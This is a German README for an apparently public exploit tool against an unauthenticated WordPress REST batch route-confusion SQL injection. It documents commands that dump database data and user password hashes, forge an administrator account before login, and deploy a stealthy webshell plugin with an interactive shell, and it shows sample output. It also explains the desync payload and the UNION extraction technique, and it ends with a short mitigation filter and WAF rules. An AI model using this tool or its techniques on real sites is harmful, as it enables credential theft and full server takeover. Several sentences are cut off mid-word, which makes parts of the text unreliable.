
CVE-2026-63030 - WordPress REST-Batch-Routen-Verwechslung SQL-Injection Proof of Concept
WordPress REST Batch Route-Confusion SQL Injection (CVE-2026-63030) Proof of Concept
Recherche, Exploit-Entwicklung & Dokumentation von Ch4120N
Dieses Repository und das dazugehörige Tool (exploit.py) sind ausschließlich für Bildungszwecke, autorisierte Penetrationstests und Sicherheitsforschung bestimmt.
Die Verwendung dieses Exploits gegen Ziele ohne ausdrückliche, vorherige, schriftliche Genehmigung ist illegal und verstößt weltweit gegen Gesetze zu Computerbetrug und -missbrauch. Der Autor (Ch4120N) übernimmt keinerlei Haftung für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Verwendung dieses Codes entstehen. Handeln Sie stets im Rahmen des Gesetzes und holen Sie die entsprechende Genehmigung ein.
CVE-2026-63030 ist eine kritische, nicht authentifizierte Schwachstelle, die die WordPress-REST-API betrifft. Sie nutzt einen Route-Confusion-Bug im verschachtelten Batch-Verarbeitungsendpunkt (/wp-json/batch/v1 oder /?rest_route=/batch/v1).
Wenn WordPress einen Batch von REST-API-Anfragen verarbeitet, validiert es jede Unteranfrage vor der Ausführung gegen ihr spezifisches Schema. Aufgrund eines Fehlers in der Art und Weise, wie der interne Routing-Zeiger absichtlich fehlerhafte Pfade (z. B. ///) verarbeitet, wird das Validierungsschema vom tatsächlichen Ausführungs-Handler desynchronisiert.
/wp/v2/users-Endpunkt abzielt (der author_exclude nicht akzeptiert), vom /wp/v2/posts-Handler ausgeführt wird. Der nicht bereinigte Parameter author_exclude wird direkt an die author__not_in-Klausel von WP_Query übergeben, was zu einer nicht authentifizierten SQL-Injection führt.oembed_cache-Beitrags-IDs zu identifizieren. Der Exploit verwendet dann eine Customizer-changeset-Payload, um den Navigationsmenü-Cache zu vergiften und WordPress dazu zu bringen, eine Benutzererstellungsanfrage im Kontext eines bestehenden Administrators auszuführen.pip install erforderlich.exploit.py) organisiert.WP_Post-Zeile (1 Anfrage pro Wert).EXTRACTVALUE()-XPATH-Fehler, wenn WP_DEBUG_DISPLAY aktiviert ist.cd-Unterstützung).Es sind keine Drittanbieter-Pakete erforderlich. Stellen Sie sicher, dass Python 3.8 oder höher installiert ist.
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
Der Exploit ist in drei Hauptunterbefehle unterteilt: check, read und shell.
Diese Optionen gelten für alle Unterbefehle:
| Option | Beschreibung | Standard |
|---|---|---|
url | Ziel-Basis-URL (z. B. http://target.com) | Erforderlich |
--rest-route | Verwendet /?rest_route=/batch/v1 anstelle von /wp-json/batch/v1 (für Seiten mit deaktivierten Permalinks). | False |
--timeout | HTTP-Anfrage-Timeout in Sekunden. | 30.0 |
--proxy | HTTP/HTTPS-Proxy (z. B. http://127.0.0.1:8080). | None |
check - SchwachstellenerkennungPrüft das Ziel sicher, um das Vorhandensein der Route-Confusion-Marker zu bestätigen, und testet das SQLi-Timing, ohne Daten zu extrahieren.
| Option | Beschreibung | Standard |
|---|---|---|
--sleep | SQL-Timing-Verzögerung (Sekunden), die vom --confirm-sqli-Fallback verwendet wird. | 3.0 |
--samples | Anzahl der zu testenden Basis-/Verzögerungs-SQL-Timing-Paare. | 3 |
--confirm-sqli | Sendet eine aktive SQLi-Bestätigungs-Payload (fügt eine kleine Verzögerung hinzu). | False |
read - DatenbankextraktionExtrahiert Daten direkt über die SQL-Injection aus der Datenbank.
| Option | Beschreibung | Standard |
|---|---|---|
--preset | Schnelle Extraktionsvoreinstellungen: fingerprint (Version/Benutzer/DB) oder users (Logins/Hashes). | fingerprint |
--query | Führt einen benutzerdefinierten skalaren SQL-Ausdruck aus (z. B. "SELECT @@version"). | None |
--prefix | Präfix der Datenbanktabellen. | wp_ |
--max-length | Maximale Zeichenanzahl, die pro Wert extrahiert wird. | 128 |
--technique | Extraktionstechnik: auto, union, error oder blind. | auto |
shell - Remote Code ExecutionStellt die Webshell bereit und führt Befehle aus. Wenn keine Anmeldedaten bereitgestellt werden, löst es automatisch die Pre-Auth-Brücke zur Administratorerstellung aus.
| Option | Beschreibung | Standard |
|---|---|---|
--user | Admin-Benutzername. (Weglassen, um die Pre-Auth-Brücke zu verwenden). | None |
--password | Admin-Passwort. (Weglassen, um die Pre-Auth-Brücke zu verwenden). | None |
--cmd | Ein einzelner Befehl, der auf dem Ziel ausgeführt werden soll. | None |
-i, --interactive | Öffnet nach der Bereitstellung eine interaktive Shell (REPL). | False |
Nachfolgend finden Sie reale Beispiele des Tools in Aktion.
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
Beachten Sie, wie das Tool automatisch ein Admin-Konto erstellt, die Shell bereitstellt und nach dem Beenden aufräumt.
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
Der Kern des Exploits beruht auf der Injektion von _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Diese ungültige URL zwingt das interne Routing von WordPress, für die erste Unteranfrage einen WP_Error zu erzeugen. Dadurch wird der interne Zeiger verschoben, sodass die zweite Unteranfrage gegen ein Schema validiert, aber vom Handler der dritten Unteranfrage ausgeführt wird. Auf diese Weise wird der Parameter author_exclude in die WP_Query geschmuggelt.
Statt langsamer Blind-SQLi verwendet das Tool ein UNION SELECT, um eine vollständig ausgebildete, gefälschte wp_posts-Zeile zu injizieren. Durch das Setzen von orderby=none und per_page=500 wird verhindert, dass WP_Query die Abfrage aufteilt. Der injizierte post_title enthält das hex-kodierte Ergebnis des Ziel-SQL-Ausdrucks, umgeben von ||-Trennzeichen, das direkt in der JSON-Antwort der REST-API wiedergegeben wird.
Das bereitgestellte PHP-Plugin ist auf hohe Tarnung ausgelegt:
wp_a1b2c3d4.php).t) und einen Befehl (c) über GET-Parameter.hash_equals(), um Timing-Angriffe auf das Token zu verhindern.chdir), um die Offenlegung von Pfaden zu verhindern.EXPLOIT::...::END-Marker eingebettet, damit der Python-Client sie sauber parsen kann.mu-plugins):
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
/batch/v1-Anfragen, die author_exclude in der URI enthalten.UNION, SLEEP() oder EXTRACTVALUE in URL-Parametern enthalten./// in REST-API-Anfragen.WP_DEBUG_DISPLAY in wp-config.php auf false gesetzt ist, um Datenlecks durch fehlerbasierte SQLi zu verhindern."Mit großer Macht kommt große Verantwortung. Nutzen Sie dieses Wissen, um zu verteidigen, nicht um zu zerstören."
— Ch4120N